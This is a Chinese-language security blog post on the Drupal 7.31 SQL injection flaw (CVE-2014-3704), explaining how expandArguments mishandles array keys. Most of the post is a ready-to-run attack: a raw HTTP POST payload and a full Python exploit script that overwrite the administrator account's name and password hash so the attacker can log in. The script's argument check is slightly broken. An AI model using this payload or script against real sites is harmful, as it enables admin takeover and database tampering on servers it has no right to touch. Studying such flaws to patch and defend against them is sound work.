Drupal 7.31 SQL注入漏洞(CVE-2014-3704)

最近频繁爆发各种0day,真是把大家累坏了。Drupal 7.31 SQL注入漏洞(CVE-2014-3704)就是其中一个,该漏洞利用测试方法“简单粗暴”,受到安全研究者们的青睐。
Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。
expandArguments函数如下
[php]
protected function expandArguments(&$query, &$args) {
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}
[/php]
该函数假定它被调用时是没有key的。例如:
[php]db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2'))); [/php]
执行的SQL语句为:
[php]
SELECT * from users where name IN (:name_0, :name_1)
[/php]
通过参数传入name_0= user1,name_1=user2。

那么问题来了,如果带入数组当中有key并且不是整数呢。例如:
[php]
db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));
[/php]
执行SQL语句为:
[php]
SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1
[/php]
参数:name_test=user2。

由于Drupal使用PDO,因此可以多语句查询。所以这个SQL注入向数据库里插入任意数据,下载或者修改存在的数据,甚至drop掉整个数据库。
POC
有人在pastebin上放出了把原来id为1的管理,替换成名字为owned,密码是thanks的管理员。
[php]
POST /drupal-7.31/?q=node&destination=node HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/drupal-7.31/
Cookie: Drupal.toolbar.collapsed=0; Drupal.tableDrag.showWeight=0; has_js=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

name[0%20;update+users+set+name%3d'owned'+,+pass+%3d+'$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld'+where+uid+%3d+'1';;#%20%20]=test3&name[0]=test&pass=shit2&test2=test&form_build_id=&form_id=user_login_block&op=Log+in
[/php]
攻击者可以通过向数据库里插入任意的数据,利用Drupal的特性执行PHP代码。
为了方便大家测试直接上干货(EXP含有攻击性,仅供安全研究和教学,禁止非法使用)
[php]
import urllib2,sys
from drupalpass import DrupalHash
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
print "host username password"
print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
import hashlib

# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.

class DrupalHash:

def __init__(self, stored_hash, password):
self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
self.last_hash = self.rehash(stored_hash, password)

def get_hash(self):
return self.last_hash

def password_get_count_log2(self, setting):
return self.itoa64.index(setting[3])

def password_crypt(self, algo, password, setting):
setting = setting[0:12]
if setting[0] != '$' or setting[2] != '$':
return False

count_log2 = self.password_get_count_log2(setting)
salt = setting[4:12]
if len(salt) < 8:
return False
count = 1 << count_log2

if algo == 'md5':
hash_func = hashlib.md5
elif algo == 'sha512':
hash_func = hashlib.sha512
else:
return False
hash_str = hash_func(salt + password).digest()
for c in range(count):
hash_str = hash_func(hash_str + password).digest()
output = setting + self.custom64(hash_str)
return output

def custom64(self, string, count = 0):
if count == 0:
count = len(string)
output = ''
i = 0
itoa64 = self.itoa64
while 1:
value = ord(string[i])
i += 1
output += itoa64[value & 0x3f]
if i < count:
value |= ord(string[i]) << 8
output += itoa64[(value >> 6) & 0x3f]
if i >= count:
break
i += 1
if i < count:
value |= ord(string[i]) << 16
output += itoa64[(value >> 12) & 0x3f]
if i >= count:
break
i += 1
output += itoa64[(value >> 18) & 0x3f]
if i >= count:
break
return output

def rehash(self, stored_hash, password):
# Drupal 6 compatibility
if len(stored_hash) == 32 and stored_hash.find('$') == -1:
return hashlib.md5(password).hexdigest()
# Drupal 7
if stored_hash[0:2] == 'U$':
stored_hash = stored_hash[1:]
password = hashlib.md5(password).hexdigest()
hash_type = stored_hash[0:3]
if hash_type == '$S$':
hash_str = self.password_crypt('sha512', password, stored_hash)
elif hash_type == '$H$' or hash_type == '$P$':
hash_str = self.password_crypt('md5', password, stored_hash)
else:
hash_str = False
return hash_str
[/php]
测试效果如图

1 条评论

  1. 非凡站长博客

    果然是审计高手

发表评论